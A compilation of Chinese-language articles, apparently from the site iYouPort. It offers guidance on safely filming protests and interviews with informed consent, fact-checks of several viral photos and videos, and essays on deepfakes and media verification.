6、在安全的情况下，通过拍摄相关人员、周围人群、受伤、弹孔或附近车辆的牌照来记录抓捕或暴力的详细信息。您也可以通过在拍摄时口述事件，来对细节进行语境化。请注意一定要准确叙述，尽可能使用动词而不是形容词，避免您的个人意见进入录制。

7、如果可能的话，拍摄或录制您自己讲述的军官姓名和徽章/佩章号码。记录警官的行为，例如给予下属的命令，殴打、摧毁等等，以及创建或移动路障。记录正在向抗议人群射击的警察最好能有面部特写、以及当局持有的或使用的任何武器。尽可能停留10秒左右。

8、通过与获取同意的抗议参与者或目击者进行访谈以提供更多的细节。请确保您拍摄到的人完全了解该视频的使用方式和位置。如果要在公开场合、在线或与法庭共享视频，请与被拍摄者讨论潜在的安全风险。如果需要匿名，请在采访时拍摄受访者的手部，让拍摄对象将他们的脸裹在围巾中，或调整焦点以模糊图像。

9、您最好能有一位合作伙伴以帮助您保持安全，并留意周边重要情况以进行记录。如果您的合作者有相机，请尝试获取相同事件的不同角度，尽量保持彼此的视野最终都包含进去。如果您有被捕的风险但希望继续拍摄，请考虑将储存卡转交给能够最大程度保护它的朋友。

— — 拍摄中：安全采访，并获得被拍摄者的知情同意 — —

1、请尽可能确保您、您的受访者和您所属的社区的安全；确定您是否需要隐藏身份；如果在线或公开分享该访谈，请考虑其他方面的安全隐患。这不是恐惧而是理智，我们不鼓励盲目的激进，每个人的勇气都应该发挥实质作用。

2、我们刚才谈到了戴口罩、面巾等方式隐藏被采访对象和您自己的脸，但是您还需要注意尽可能不要拍摄受访对象和自己身上的特殊标记，比如疤痕、纹身、多孔的配饰等等，甚至还包括特殊的体态（肢体残缺等）这些细节都会暴露一个人的身份。

3、对你的受访者做点准备工作。提前安排好您的问题，以便获得所需的答案。提出以“为什么”，“如何”或“告诉我”开头的开放式问题。避免那些可以回答“是”或“否”的问题。这点我们在社交工程学技巧中有过详细解释，请在这里回顾《语言是强大的武器，如何使用它？》

4、在相对安全的地方进行采访，选择一个安静的位置，避免中断。请移除位于被拍摄对象背后的可能会分散观看者注意力的物品。避免使用旋转椅。如果披露访谈的地理位置会使您的主题面临风险，请不要捕捉地标或其他可识别性细节。

5、糟糕的音频可能会破坏良好的视频。请使用耳机清楚地听到相机正在录制的内容。关闭您可以控制的背景噪音 — 如风扇或电子设备；关掉房间里的所有电话；不要让手机振动，因为它会干扰音频。如果可能，请使用外接式或领夹式麦克风，并在安静的地方进行录制。

」更多：移动电话用于录音的内置麦克风意味着手机会从设备周围拾取所有声音，这会对您的录制采访产生挑战，尤其是场景比较嘈杂的情况下，比如大型群体事件、武装冲突、灾区等等。您需要尝试将受访对象引导到相对安静的地带录制采访，将您的设备进口接近说话人，令他的声音尽可能清晰。要获得最佳的录音效果，请使用外接麦克风，你会发现没有麦克风的采访效果有很大不同。当您将领夹式的麦克风固定在受访者身上时，请确保他的声音是唯一被录制的声音；手持麦克风则能给你很好的移动空间，允许一次采访多人。

」便携式麦克风可以在短距离内工作，因此请务必将麦克风靠近扬声器以获得最佳的声音。选择麦克风时请确保它与手机兼容。手机麦克风类型和便携式摄像机不同，但是有便宜的方法可以将您的手机连接到各种麦克风上。不论您选择哪种麦克风，都要在拍摄之前测试声音。您的手机可能无法在录制过程中监听声音。

6、当您面对受访者时，光源应始终在您身后。避免在受访者身上留下阴影；户外情况注意太阳的位置和云。

7、使用三脚架或固定平面来稳定相机。除非绝对必要，否则切勿移动相机或变焦，尤其是在拍摄对象说话时。

8、您的相机应与拍摄对象处于同一水平，不要向上或向下拍摄，将您的主体从腰部或胸部拍到头顶。对于中等和宽幅拍摄来说，请将拍摄对象略微放置在画面的左侧或右侧。请勿将拍摄对象置于画面中间。

9、清楚地解释视频的目的、如何使用、如何共享、以及谁可以看到它。确认受访者是否能接受录制的风险，请要求他们用自己的语言解释明确这一风险，把他们的知情同意一起拍摄下来。在高风险的情况下，受访者可以选择隐瞒自己的身份，也可以选择不参加。不可强求。

10、让您的受访者在访谈开始时说出并拼出他们的名字，并在视频中说明他们希望自己如何被识别（例如："我叫***，我是一名母亲、医生、幸存者等"）。如果存在安全风险并且受访对象要求保持匿名，请考虑使用假名。

11、请积极倾听！根据需要重新提出问题。让您的受访者说出完整的句子并将您的问题纳入他们的答案。在受访者的答案结束和下一个问题提出之间，请暂停3秒钟。这将有助于后期编辑；除非绝对必要，否则不要打断你的受访者。使用非语言提示帮助您的受访者保持参与感，例如点头。避免说"是"或"啊哈"。邀请您的受访者添加他们希望记录的任何其他要点或想法。

12、采访后，补充镜头或 b-roll 提供了背景化细节，并有助于发展个人叙事。在可能的情况下，记录受访者日常生活的场景，例如与朋友、家人、同事或社区会议进行互动的画面。在安全的情况下，包括在访谈中讨论的具体地点或细节的镜头。比如采访对象的话中提到了天安门，您的 b-roll 就可以选取天安门的画面。

13、我们强调了需要您的受访对象知情同意，这很重要。您可以"在这里的链接下载"一个关于知情同意的模版，并根据您的具体情况使用它。

「图」

— — 在团队中拍摄 — —

您很可能不会单枪匹马，需要和朋友、团队合作，这样能增强大家的作品的质量，尤其是对推动变革和伸张正义的作用。朋友也许不难找，或者您有钱很容易请到帮手，但并非所有帮手都能发挥有效的作用，那是因为经过专业培训的人太少了。以下介绍一些基本的团队技巧。

1、首先要讨论并确定每个团队成员的角色。评估与每个角色相关的风险，例如逮捕或伤害。确认大家能接受这些风险，并制定紧急应对计划，以防暴力爆发或团队成员受伤；确定团队如何通过短信或对讲机进行通信；统一在设备上设置正确的日期和时间。

2、制定一个人携带基本材料，如额外的电池、充电器、储存卡和紧急联系方式；合作伙伴还可以保持团队成员之间的沟通，搜索引人注目的镜头并协助采访；每个人都应该记录日期、时间和地点，并确定谁在拍摄；捕获上下文的详细信息，例如人群的大小、警察徽章编号或车牌；遵照我们在前文中的详细讲述，有意识地拍摄并保持相机稳定；与团队保持密切联系、定期检查，以确保每个人都安全；如果其中有人被逮捕或拘留，其他团队成员应该尝试拍摄被逮捕事件，并提醒立即调整合作分工网络。

3、整合所有拍摄记录并传递给编辑，在必要时提供有关该事件的其他详细信息；如有必要，模糊对象的面孔以保护其身份；上传和分享素材时，请在视频的说明、标签和标题中添加上下文和详细信息。这将使您的视频更易于查找和使用。

4、以下是关于协作拍摄本身的：

」 尽可能详细拍摄行动，重点关注抗议的细节以及任何警察或军事暴力事件。捕获详细信息和可识别性信息，如面部，警察名称，徽章，车辆和车牌。

」 在人群中拍摄以获得动作感。尝试将摄像机1保持在镜头中以确定上下文并提供其他角度；如果被捕或被拘留，摄像机2应确定是否立即更换摄像机1。

」 远景捕捉事件的全部范围。如果可以安全，请记录警察或军队的位置和移动；考虑从窗户，阳台或屋顶拍摄，以获得空中视角。摄像机3应该向队友传达所有重大发展，例如正在接近的军用车辆、新阵型或暴力行为。

」 相机具有良好的变焦，三脚架，独脚架或稳定表面支撑；拥有用于备份素材的 Internet 访问和外部硬盘驱动器。

」 理想情况下，编辑由两人或更多人的团队完成。 一个人审查原始素材，而另一个人则专注于编辑所选剪辑、保存和共享素材。此外，建议合作伙伴与拍摄团队进行沟通，以根据需要获取额外的镜头。

最后，请记住我们在前文中推荐过的多个技术，可以使您的拍摄最终能成为证据的很好协助。比如 CameraV，就是在智能手机或平板电脑上捕获和共享可验证的照片和视频证据的最简单方法，尤其是同时保持其安全和私密。 CameraV 的开发主要为协助活动家、记者、倡导者和其他人在非常困难和高风险的情况下的工作，捕获和收集滥用和侵犯权利的视觉证据。它还可以用于您的日常生活中捕捉任何时刻，并保持安全和私密。您还可以使用它来记录您自己的遭遇的证据，事故后、房地产损坏、或任何您需要“证据”以讨回公正的地方。

好啦，还是那句话，好的技术需要更多的练习。我们只能支招，而您的重视将能带给您真正的实力！一起来，做合格的公民。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

深圳遭遇台风的 DragonAir 波音 737 的视频是假的，这里是为什么 - iYouPort

让它民主-公民掌握真相的技巧和技术

> 如今你能看到的更多是阴谋论、段子、恶作剧和不专业的报道，而不是真正的新闻。如果公民社会还不能承担起捍卫真相的职责，互联网就真的一无是处了

「图」

一则显示在“深圳”台风中被发现的商用客机的视频正在网上流传。视频中，客机被认为是在进行低空飞行。

视频附带的说明声称“无论台风如何，飞行员都能安全降落” — DragonAir B-737 hit by typhoon in Shen Zhen. But managed to land safely。视频的后半部分显示人们在着陆后从“同一架飞机”撤离的场景。

如果你看出这个视频有点问题，那么恭喜，你猜对了。因为显示飞机正在执行看似不可能的低空行驶的视频的前半部分是被数字化创建的，并且与人们撤离时画面 即视频的后半部分所示的背景完全不同。

仔细观察你会发现，碰上了台风的飞机实际上来自从 2017 年6月14日的 MeniThings YouTube 频道的视频（视频在这里）。MeniThings 是一家制作公司，除其他事项外，该公司还生产一些有趣的视觉效果。他们的网站上就直接这样写着：

> *MeniThings* 是一家全功能的制作公司，支持导演 *Aristomenis Tsirbas* 的原创动画和现场表演作品，其中包括故事片、电视节目、音乐视频和视觉效果。

该公司的 YouTube 频道充满了 CGI 飞机特技、不明飞行物的视频，甚至还有几次对外星人的采访（Haha）。因此，在台风中捕获的飞机视频显然是 CGI 创建的视频，并没有描绘真实的飞机。

视频的后半部分显示一架飞机上的乘客正在疏散，看起来很像是前半部分那个安全着陆的飞机？

但完全不是这样。在视频的下半部分显示人们从中撤离的这架飞机，是来自于 2018 年8月28日发生的事件，当时从北京到澳门的一架飞机因发动机和起落架问题而不得不转移到深圳机场，而不是任何与台风相关的问题。

下面这组连续图片显示了飞机在空中时和后面人们撤离时的场面：

「图」

你可以清楚地看到，飞机的尾部有不同的标志。尽管该视频声称这架飞机是 DragonAir Boeing 737，但空中的 CGI 飞机是加拿大航空公司 Jetz Boeing 737（在这里通过原始视频更清晰可见），人们撤离的飞机是北京首都航空公司的空客 320 。

一架飞机在遭遇台风之后以这种方式表演出令人难以置信的绝技，还能以某种方式奇迹般安全降落，肯定能吸引主流媒体的关注吧。唉，没有，因为视频明显是假的。

请关注我们的技术推荐《"虚假信息鉴别工具箱：如何验证图片和视频的真伪？"》您将可以完成对更复杂的造假技术的揭露。

相比下本文是一个非常简单的例子。视频和图片的造假如今一点不比文字造假少一些，科技的进步、加之各路隐性宣传巨魔和网络水军具备远高过大众的技术水平，假信息几乎铺天盖地。

还有太多不专业的媒体，这类“媒体”中国尤其多，很多在职的中国新闻人甚至不了解最常用的验证技术 ……

突发事件是造假的高峰时段。比如 YouTube 总部枪击案，就是个很严重的案例，事发后假消息蜂拥而至，大量的在线账户被指为枪手，甚至连互联网活动家也加入了这场轰轰烈烈的造假游戏：

「图」

博主和媒体也无法免于被诬告。Buzzfeed 的记者 Jane Lytvynenko — 当时正在报道这类假新闻 — 结果她自己也变成了假消息的主角，消息称她为枪手。

整体上，有超过四十人在枪击案后 24 小时内被诬告为枪手。

事实就是这样，如今你能看到的更多是阴谋论、段子、恶作剧和不专业的报道，而不是真正的新闻。如果公民社会还不能承担起捍卫真相的职责，互联网就真的一无是处了。

至于为什么真相如此重要？为什么如今人们普遍不关心真相？为什么这样的现实正是民主最大的杀器？详见这里的分析：《真相衰变》。

虽然谎言的历史几乎与人类的起源同龄，但当下，人们正面临着前所未有的欺诈世界：人工智能的进步已经开创一个假视频和音频的新时代。

GAN（生成性对抗网络）是一种用于执行无监督机器学习的 AI 。在 GAN 中，相反的神经网络协同工作以制造越来越逼真的音频、图像和视频内容。 GAN 中的一个神经网络充当箔片，推动其他网络产生更高保真度的结果。神经网络还可以更容易伪造音频，可以将源音频的元素转换为统计属性，并且可以重新排列这些属性以制作高超的假音频剪辑。

「图」

Sketch of a Generative Adversarial Network for creating fake images, credit DL4J

高质量的外交操纵和政治宣传，可能会将 AI、音频和视频欺骗结合成一次致命的攻击。目前，世界各地的研究团队正在开发看似良性的技术，然而，如果我们不小心的话，这样的“机会”随时会出现。

斯坦福大学的研究人员发表了早期结果，表明可以实时改变一个人预先录制的面部画面来模仿出另一个人的表情。

从本质上讲，想要冒充目标人的演员可以通过将脸部变成网络摄像头来创建数字人类木偶。 目标面部的数字再现将实时模仿演员的面部。

目前，这种技术仍然需要数小时的预先录制的目标视频片段才能让它看起来真实。不幸的是，强大的公众人物经常可被追踪，有充足的历史录像带足够显示他们在现实生活中的谈话和移动，基础素材极为丰富。

造假者使用低科技网络摄像头和这种高科技软件的事实表明，视频爱好者和复杂的宣传家都可以使用这种技术。竞争环境被平衡了，扩大了能够伪造视频进行欺骗的实施者的范围。

「图」

Face2Face, Stanford University

在威斯康星大学进行的奥巴马假视频实验是由三星、谷歌、Facebook、Intel 和该大学的动画研究实验室资助，研究人员使用了神经网络，首先从一个音频文件转换成声音的基本口形。然后系统将这些口型移植并混合到现有的目标视频上并调整时间以创建新的逼真的唇形同步视频。

「图」

University of Washington’s sketch of the process that created the fake Obama video

制作假音频也变得越来越容易和消费化。 例如，加拿大创业公司 Lyrebird 正在开发一种技术，可以从某人的声音中录制一分钟的音频，从而以相同的声音生成更长的音频片段。同样，在2016 年，Adobe 就推出了名为 Project VoCo 的原型（也被称为 “Photoshop for voice”）。该项目旨在让用户编辑人类语音，就像使用 PS 编辑数字图片一样简单……

显然，人工智能对视频和音频干预的广泛采用意味着对“高价值目标”的声誉攻击也将相应增加。声誉攻击可以诋毁一个人的人格，使其不可信，甚至可以因此制造出一个逮捕的理由！

这是危险的。但没人能挡得住技术的发展，于是，更危险的在于，公民对技术的陌生，无法使用技术反击、因无力鉴别而被欺骗。技术被掌握在恶意者的手中就是民主的灾难。

希望能有更多公民至少熟悉鉴别真伪的技术，这具有重大的意义。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

深度造假真的是一场真相已死的危机吗？我们如何化解这场危机？ - iYouPort

你我的灾难现实技术暴政让它民主-公民掌握真相的技巧和技术

“深度造假”已经引起了技术专家和立法者的恐慌。已有立法提案、法律评论文章、国家安全评论以及数十篇意见书指出了这种新的深度伪造技术-- 使用人工智能制作逼真的模拟视频-- 将彻底终结真相。不过，真的会彻底吗？

「图」

「图」

在短短几个月内，“深度造假”已经引起了技术专家和立法者的恐慌。已有立法提案、法律评论文章、国家安全评论以及数十篇意见书指出了这种新的深度伪造技术—— 使用人工智能制作逼真的模拟视频—— 将彻底终结真相。

我们也介绍过这一问题，详见：《当恶意者掌握技术：信息战的未来究竟有多可怕？》

很多人对深度造假的恐惧源于这样一种假设，即 这是一种人类以前从未面临过的一种全新的、改变游戏规则的技术。但是，深度造假真的不是什么新鲜事，历史上充满了欺骗性的做法—— 从汉尼拔的假战营到威尔罗杰斯，“真实地”模仿杜鲁门总统，斯大林从历史资料中抹去所有敌人。社会对最近流行的另一种媒体欺骗技术工具—数码照片编辑和 Photoshop—的反应已经体现了重要的经验教训，可以洞察深度造假可能对社会造成的影响。

在1990年，Adobe 发布了开创性的 Adobe Photoshop，这项技术以及其无数竞争对手允许用户以数字方式改变上传到该程序中的真实照片。虽然竞争服务需要一些专业知识才能使用，但Adobe 设计的 Photoshop 是格外用户友好的，任何人都可以制作。

新功能引发了新的担忧。同年，“新闻周刊”发表了一篇名为“当照片撒谎 ”的文章。正如“新闻周刊”所预测的那样，摄影操控技术上升的后果可能是灾难性的：“以中国领导人为例，去年他们曾试图阻止摄影师揭露北京大屠杀。将来，中国人或其他有意撒谎的政权甚至不会再担心摄影师曝光真相了。“

这些担忧并非完全没有价值。Fred Ritchin，前纽约时报杂志的图片编辑，现在是国际摄影学院的荣誉退休人员，他说，由于照片编辑技术，过去几十年来对摄影的信任已经受到侵蚀。

确实，“相机永远不会说谎”的说法再也无法持续了—当最终产品被操纵时，相机可以并且经常会撒谎。然而，Ritchin 和新闻周刊所预言的真相危机还没有实现。

为什么？因为社会适应了这项技术。

回想一下1994年6月，时代杂志在月刊的封面上刊登的 OJ辛普森的照片，事实上他们已经明显编辑了这张照片，使辛普森的肤色显得比实际上更暗。更糟糕的是，“新闻周刊”刊登的是未经编辑的照片，两本杂志并排放在超市货架上。虽然时代为这一所谓的“艺术选择”做了辩护，称没有任何种族意味，但明显编辑过的照片引发了大规模的公众抗议。

警惕造假只是公众意识日益增强的一部分。多年来，时尚杂志普遍采用欺骗手段来改变封面模特的外观。封面上具有更具吸引力模特的杂志通常比那些吸引力较弱的杂志卖得好，因此编辑会修饰照片以使其更吸引公众。不幸的是，这种做法在社会中创造了一种不切实际的美丽形象，一旦被发现，卫生组织就开始公开警告这种现象所造成的危险—最明显的是饮食失调的流行。由于随后公众的强烈抗议，全国各地的家庭开始意识到了照片编辑技术及其能力。

社会警惕性是否意味着没有人会因照片造假而被欺骗并作出错误的选择了？当然不是。但是，照片造假并非造成了真相的死亡，而是对新技术的认识鼓励人们采取新的指标—例如来源的可信度—以做出关于所呈现的图像是否真实的明智决定。

结果，新闻媒体和其他照片出版商继续制定政策并就他们使用的图像做出规定，着眼于赢取受众的信任。例如，2003年，洛杉矶时报迅速解雇了一名记者因为编辑们意识到发布的一张被编辑过的图像会明显降低读者对报纸真实性的看法，这名记者对伊拉克战争的照片进行了数字化改造。

然而，现在，随着新的人工智能和机器学习技术进入市场，再次引发了“真相已死”的担忧—主要是在假新闻和虚假信息泛滥的背景下。想想看，如果有人在选举前发布了一个候选人正在收受贿赂的深度造假作品该怎么办？或者造假称美国总统宣布即将发生导弹袭击？正如斯坦福大学国际安全与合作中心国际安全研究员 Andrew Grotto 所预言的那样，“这项技术……将不可抗拒地导致民族国家攻击者在虚假宣传活动中使用，以操纵公众舆论，欺骗公众并破坏对我们机构的公信力。“

也许更大的问题是，如果社会无法区分假视频和真实视频，那么任何人都可能对他们在视频上所做或所说的任何事采取否认：这都变成了一切皆为假新闻。

但是，谁能肯定社会对深度造假的反应不会像曾经人们对PS照片的回应那样发展？

现在，深度造假技术远非完美无缺。虽然一些假货可能看起来非常逼真，但其他假货却有明显的纰漏，可以提醒观众他们伪造的性质。与之前的 Photoshop 和数码照片编辑一样，通过手机应用程序产生的制作不良的假货可以教育观众了解这种技术的存在。当公众意识到，深度假货造成的伤害将无法实现到预期的程度。

事实上，围绕使用这项技术的新争议同样也提高了公众对该技术可以做些什么的认识。例如，“深度造假”这个词实际上来自一个 Reddit 用户，他最初开始使用这种技术来制作逼真的名人假色情视频。这种类型的内容很合理地引发了对隐私权侵犯的警惕。随着公众的强烈抗议开始加剧，该平台公开禁止深度造假社区及其网站上的任何非自愿色情内容。

与使用 Photoshop 创建不切实际的裸体图像所引起的公众强烈抗议一样，使用深度造假技术创建不恰当和彻头彻尾的令人震惊的内容将反过来使公众更加了解该技术，从而避免造成伤害。

也许最重要的是，许多政策制定者和私营公司已经开始采取措施教育公众了解深度造假的存在和其污蔑的能力。著名的立法者，如弗吉尼亚州的马克·沃纳和内布拉斯加州的本·萨斯，最近提出了一些重要的话题。Facebook 最近宣布它正在投入大量资源进行针对深度造假的识别和检测。由于非常注重教育公众关于这种技术的存在和使用，只要公众能提高认识，恶意行为者成功传播有害的深度造假视频就将更加困难。

这绝并不是说深度造假不会造成任何新的伤害或威胁。与 Photoshop 不同，如今任何拥有智能手机的人都可以使用深度造假技术，这意味着可以生成和共享更多的逼真的假货。与20世纪90年代不同的是，今天有更多人使用互联网分享新闻和信息，以极快的速度在全球范围内传播内容，正因此，大多数观众来不及思考，只是为了寻求视觉刺激，给了假冒以广泛的空间。

但是，如果我们不采取措施来规范技术，我们就不应该认为社会会陷入欺骗和虚假信息的深渊。这项技术可以提供许多重要的好处，例如几十年前失踪儿童的成长后照片，或者为课堂上的学生们创造逼真的历史人物版本图像。立法者不应急于起草立法，而应该回顾过去，并认识到深度造假并非一些前所未有的问题。相反，深度假货仅仅代表了历史上一直使用的一系列欺骗性视听实践中的最新技术。

只要我们理解了这一事实，我们就可以确信社会会想出一些方法来减轻隐患和威胁。

Deep Fakes: Let’s Not Go Off The Deep End. Instead, deep fakes simply represent the newest technique in a long line of deceptive audiovisual practices that have been used throughout history. So long as we understand this fact, we can be confident that society will come up with ways of mitigating new harms or threats from deep fakes on its own.

原文

真假消息鉴别案例演示：是否为真应该与你我的个人立场毫无关系 - iYouPort

让它民主-公民掌握真相的技巧和技术

三个典型案例的核查结果都能违背很多人的既有认知，关键在于人们是否能承认这些结论，将意味着是否能行使真正的公民权

「图」

上一篇文章中我们强调了：是否承认真相或虚假应该与您的立场如何完全无关。这几乎是一句废话，但是它的确已经成为假消息侵蚀民主的主要原因。假消息本身并不是绝对致命的，真正致命的因素是缺乏判断力的受众，甚至在核查结论推出后依然不承认或无视。很难想象吗？并不然，以下三个案例将能够清楚地揭示这一问题。

1、高度发达和富有的美国真的有如此悲惨的公民冻饿在街头吗？

上月底，一张极其骇人的照片在社交网络流传。照片显示了一名严重营养不良的无家可归者，他说自己是一名退伍军人，瘦得皮包骨，就躺在洛杉矶的一条街道上。他说自己叫 Kent。

这些照片显然让很多观众感到震惊，不仅包括无条件崇拜美国的中国观众，一些美国观众也不敢承认，他们认为这些照片可能只是艺术作品或万圣节装饰，而不是真人。不幸的是，经过第三方独立核查机构的验证，它就是真实的。

这些照片首先由 Facebook 用户 Nick Spano 于 2018 年9月22日在线发布。最初的 Facebook 帖子包含了一些长篇的文章，主要讲述的是 Spano 关于美国如何对待无家可归者（特别是无家可归的退伍军人）的观点。一些关于个人细节的描述显示，此人是名叫 Kent 的 68 岁男子。这名男子告诉 Spano，他是一名老兵，当 Spano 给了他一些水，然后叫来医护人员将他送到医院时，他说自己正在“找个能死的地方”。

「图」

以下是对照片发布者 Nick Spano 的帖子的部分翻译。不得不翻译，因为他说的是真话（也是很多美国公民的共识）：

“这里是美国：Kent，这位 68 岁的退伍老兵正在洛杉矶市区的丛林中死去。他脸上一侧的垒球大小的肿瘤现在变成了一个巨大的洞，干血覆盖着他的手和脸，苍蝇就停在他的头上等着他死掉，然后将卵产在他撕裂的伤口上。他试图说话，但吐字模糊我根本听不懂。这是他妈的美国！

“我只是想找个能死的地方，”他说。这就是他对我说的第一句话，当时他就躺在我家外面的灌木丛里。像许多人一样，我最初的直觉反应是，你可别死在我的后院里！但我知道，无家可归是我们破碎的和被浪费的体系之症状，基本缺乏体面，对彼此的同情。我们像垃圾一样对待别人。我们想要丢弃我们不想要的社会部分，但是就像塑料一样，它们永远不会消失。我们所做的只是让问题变得更糟，而不是意识到我们自己的习惯正是导致问题的原因。我们对待他人的方式就是问题所在……

所以，我带了点水给 Kent，并坐下来与他谈了一段时间。他把帽衫拉到一边，向我展示他脸上的肿瘤。他说他去了弗吉尼亚州接受医疗护理，但他说他觉得医生只是在等他死，所以他就离开了。我问是否可以给他一些帮助，但他拒绝了。“我只是想找个能死的地方，”他说。

伙计们，看看我们自己有多糟糕！让我们对自己诚实点儿吧。在围观 Instagram 自拍、展览 Facebook 帖子，以及对哪个党派更美国化的激烈政治咆哮之间，我们已经失去了灵魂。我们忘记了真正的财富来自彼此的帮助。这不是**“Me too”**时代，它只是**“Me”**时代，是人类历史上最富有、最浪费的消费文化时代，我们购买他们卖给我们的一切，甚至是他们的借口**……**我们无法解决那些糟糕的问题？！因为问题太大了！太贵了！不。

我们在叙利亚投下的每枚炸弹花费了1亿美元，我们已经投下了数十枚。伊拉克战争花费了超过2.5万亿美元的美国纳税人血汗钱，这场战争就是一个谎言！我们有自己的国家紧急情况，但我们没有足够的钱来解决它。你能想象吗，如果我们只把在其中一枚炸弹上投入的资金节省下来，并将其投入到美国社区的社会服务中会发生什么; 让无家可归者进入庇护所; 协助医疗服务; 给弗林特干净的水？！？！（弗林特的水危机问题是多年的热点）

不要说我们无法解决问题，因为那是胡说八道。我们可以！！！我们真是被洗脑洗残了，连我也自满地认为我们实际上没有任何力量可以

改变这些现状。但是，当我们停止忽视问题时，改变就会开始，要意识到我们就是能解决问题的人。即使是最小的行为也会产生很大的影响。

我在等待护理人员到达的时候，拍了这些“Kent”的照片，然后把它张贴在这里供所有人浏览，这件事没有在我身上被忽视埋没。也许我的行为对某些人来说可能显得虚伪，但这不会改变我对社区中“Kent”这样的人的承诺。我将继续以尊严和尊重的态度对待这些人，无论如何我都能为他们服务。

如果这个帖子至少得到你们中一个人的支持，下次当你看到有人在街头走投无路时，请停下来与他们交谈吧; 把手放在他们的肩上; 称他们为兄弟或姐妹; 通过一种简单的同情来恢复他们心中已经微小的尊严感，这必然是值得的。不是每个人都能以同样的方式提供帮助，有时人们会不想要帮助，但是，请让我们彼此保持人性。“

……

Spano 几天后更新了他的帖子，但他没有太多额外的信息可以报告，他写道：“不幸的是，目前没什么进展可以分享。我终于找到了 Kent 被带走和接受治疗的医院，但由于患者隐私法（HIPPA）以及我不知道 Kent 全名的事实，院方现在不会给我任何信息。我不知道 Kent 是否已经过世，或者在接受照料。我已向主管请求分享信息给我，我也明确表示有很多人想表达他们的支持，所以我希望他们能帮助我们实现这一目标。”

第三方事实核查机构 snopes 证实了这条信息的真实性：照片是原版没有任何修改、是首次在网上发布（没有任何曾经出现过的记录）、帖子也没有任何号召人们转发分享的迹象（号召分享是假消息的一个典型特征）。相关分析技术请见我们提供的工具箱。

但是由于不知道 Kent 的全名，于是无法调查他究竟是不是退伍老兵。但不幸的是，他的故事完全合理。根据"全国无家可归者退伍军人联盟"的统计，目前"美国约有" **40,000** 名退伍军人在任何一个夜晚都无家可归。

> **该消息显然会遭到所有美国的爱国人士和外国的美国粉丝的质疑。但它是真实的。承认事实，用公民权和言论自由权、你的智慧和行动力以帮助美国社会解决问题，才是真正的爱美国**

2、控告最高法院提名人性侵犯的当事人 Christine Blasey Ford 的律师 Debra Katz 与希拉里克林顿在一起？

这是上个月开始一直延续至今的热点消息：最高法院提名人 Brett Kavanaugh 被指控性行为不端。指控者是加利福尼亚州女教授克莉丝汀・福特（Christine Blasey Ford）及其耶鲁大学同学黛博拉・拉米瑞兹（Deborah Ramirez）等，情节描述非常惊人。特朗普在 Twitter 上强调他对 Kavanaugh 的信任和支持，并指责是民主党通过施展一系列“骗局”（CON GAME）来摧毁一个“优秀的男人”……

「图」

特朗普的这条帖子截止美东时间9月29日凌晨（截图事件），获得了三万多分享、十二万点赞，和三万多条评论。与此同时，各种阴谋论蜂拥而上，均被证实为虚假：比如 指责控告人 Christine Blasey Ford 博士酒醉的消息，是假的；再比如 Ford 也指责了最高法院大法官 Neil Gorsuch 性侵，也是假的；还有声称 Ford 和乔治索罗斯合影的照片，也是假的（这是一种常见的政治诋毁方式，就是将当事人与权贵联系起来）……

2018年9月26日，另一次诋毁 Kavanaugh 案的控告者的企图又引起了轰动，但这次不同，因为消息是由 **TMZ** 等主流媒体机构发布的，除了常规的互联网巨魔阵容之外，之后一家八卦出版社也发布了这张照片，他们说这张照片显示 Ford 的代表博士律师 Debra Katz 正走出希拉里克林顿的房子：

「图」

这张照片也得到了阴谋论家们的推动，似乎相信 Kavanaugh 案的控告者 Ford、Ramirez, 和 Julie Swetnick 是乔治索罗斯和希拉里克林顿资助的一些邪恶阴谋的一部分，以阻止 Kavanaugh 在最高法院获得席位：

「图」

这张照片是在纽约南安普敦的一个私人住宅举行的希拉里克林顿总统竞选筹款活动后拍摄到的，时间是2016年。美联社摄影师安德鲁·哈尼克（Andrew Harnik ）拍摄的这一场景，最初的标题为：“民主党总统候选人希拉里·克林顿于2016年8月28日星期日在纽约州南安普敦的私人住宅中筹款。”

虽然这张照片中希拉里克林顿身后的女人可能与黛 Debra Katz 有很多相似之处，但照片中的女人实际上是克林顿的官方竞选摄影师 Barbara Kinney。

以下是 Kinney（取自她的 Instagram 页面）和错误的“Kinney”（取自病毒式传播的照片）的比较：

「图」

克林顿的官方竞选摄影师 Barbara Kinney 向第三方核查机构证实，照片中的人是她自己。

主流媒体 TMZ 最终从他们的文章中删除了这张照片并添加了以下更新：“早些时候，我们发布了一张希拉里的照片，其中一位女士被错误地认定为 Katz，但不是她。”

> **主流媒体机构也会发布假消息吗？很多人似乎不敢承认这点。但实际上的确会出现这样的错误。由于那些流量利益驱动的媒体往往会将注意力集中在“消息是否轰动、是否符合投资人的党派利益”等问题上，而犯糊涂。我们不喜欢希拉里，不喜欢她的战争狂热意识形态，也不喜欢特朗普还有他的提名人，但是这则消息的确是假的，必需承认。**

3、大批的摩托车骑手都是特朗普的支持者，并经常团结起来支持他？

最近出现的一段视频显示了大量的摩托车骑手在一条高速公路上行驶，于2018年9月底被社交媒体账户发布，似乎这些骑手正在前往华盛顿的途中 ，支持最高法院提名人 Kavanaugh 大法官（被指控性侵的那个人，该消息的发布时间正值性侵案舆论最为热烈的时段），并要求加利福尼亚州参议员 Dianne Feinstein 辞职。

「图」

Facebook 页面 “World Against Terrorism”于2018年9月24日分享了这段视频，使用的标题是 “Outplaanding !! 特朗普的支持者骑着摩托车前往华盛顿特区支持 Kavanaugh 确认听证会并要求参议员 Feinsten 辞职！这真是太了不起了！感谢支持特朗普的骑手们！“

推特账户“JamieR Army Girl”，@ WeSupport45（此前曾推测有关骑手支持特朗普的消息不实），以及一个 Facebook 帐户夏洛特县共和

党的“粉丝”页面也分享了这个视频，使用了几乎相同的标题：

「图」

这不是第一次将真实的镜头与错误的介绍性信息联系起来。在这个视频再次出现的一年多之前，它就在 VK.com 和 OK.Ru 这样的俄罗斯社交媒体网站上被分享过，被描述为“支持特朗普的骑手们”抵达华盛顿特区，参加特朗普的就职典礼。此声称也被可疑的社交媒体帐户（如Boca Vista 2016）收集并分享。

这里使用的是反转图像搜索技术。详见我们此前的介绍《信息验证：如何自动反向图片搜索 以验证视频内容？》

验证结果显示，这段视频与华盛顿特区、特朗普总统、或性侵嫌疑人 Brett Kavanaugh 没有任何关系。它实际上是在法国巴黎的 Boulevard Peripherique 拍摄到的，并且自 2016 年以来一直在线：视频在这里(如果下面的演示无法观看的话可以点击这个链接。新的版权法案非常烦人)

